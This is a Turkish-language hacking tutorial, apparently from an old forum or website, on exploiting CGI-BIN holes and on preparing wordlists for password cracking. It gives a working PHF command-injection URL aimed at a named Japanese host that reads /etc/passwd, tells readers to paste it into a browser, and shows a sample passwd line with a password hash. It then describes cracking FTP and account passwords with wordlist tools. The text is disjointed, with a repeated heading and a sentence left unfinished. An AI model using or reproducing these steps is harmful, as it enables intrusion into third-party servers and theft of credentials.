Sitelerin CGI/BIN Açıklarını Bulmak

a- (Phf scripti): 

Pek çok web ana bilgisayarı CGI-BIN güvenliğinden yoksundur. Bir de bunun üzerine sistem yöneticilerinin CGI-BIN güvenlik açıklarını bilmemesi potansiyel sistem açıklarına yol açmaktadır. Tüm dünyada pek çok hacker'in kullandığı cgi-bin güvenlik açığı:

WEB HACK NEDIR???

WEB HACK NEDIR???

WEB hacking bilgidim kadari ile ilk kez 1996 da FBI in web sitesini hack etmek icin kullanilmis ve basarili olmustur. Tabi bu durum dan sonra FBI bu hatasini gidermistir. Anlatacagim teknik aslinda PHF olarak bilinir.Fakat bir cok eski server da hala uygulanmakta ve netice alinabilmektedir ozellikle japon webcilerinde bu hataya cok rastlanilir ornek vermek gerekirse:

http://www.mo.cs.tutsiki.ac.jp/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Satirini browserinize yazip enter e basin bu satir passwd dosyasini acmaya calisacaktir(adresi attim)

Error 404

/cgi-bin/phf is not found on this server

Bu satirlar karsiniza cikarsa bilinki server yeni ve size gecit vermiyor

Ama asagidaki listeyi verirse bilinki buldunuz:)))

/cgi/phf?Qalias=x%0a/bin/cat%20/etc/passwd

root:2fkbNba29uWys:0:1:Operator:/:/bin/csh

Word List Nedir?

WoRD_lisT Ftp ve acc gi şifreleri ele geçirmek için kullanılan, genelde text dosyaları olan adında anlaşılacağı gibi kelime listeleridir.
Bunları kullanmak için mutlaka bir Wordlist progamına ihtiyacınız vardır..
Aynı Zamanda. Programa Wordlist dosyaları verilerek şifre kırma işlemine başlanmış olur.
Çalışma algoritmasına gelince Wordlistinizdeki şifreleri we karakreleri..Müdahele yaptığınız dosya veya ftp üzerinde tek tek dener..

Word List Hazırlama

  Selamlar. Bu bölümde de word listler yani cracker programlarının kullandığı sözlükleri inceliyeceğiz. Word List cracker programlarının şifreleri kırmak için kullandığı alt alta yazılmış harf yada rakamlardan oluşan dosyalardır. Genelde aşırı büyük olurlar. 8 karakterlik bir wordlist 1.5 GB kadar yer kaplamaktadır. Bu dosyada şifre kombinasyonları yer alır. Jhon veya jackte bu kombinasyonları deneyerek kırma işlemini gerçekleştirir.


    Bu dosyaları hazırlamak için Meliksah arkadaşımızın yazdığı sibop kullanabilriz. Bu programı kullanmak oldukça kolay. Ama ben burada Dictionary Maker adlı programda bahsedeceğim.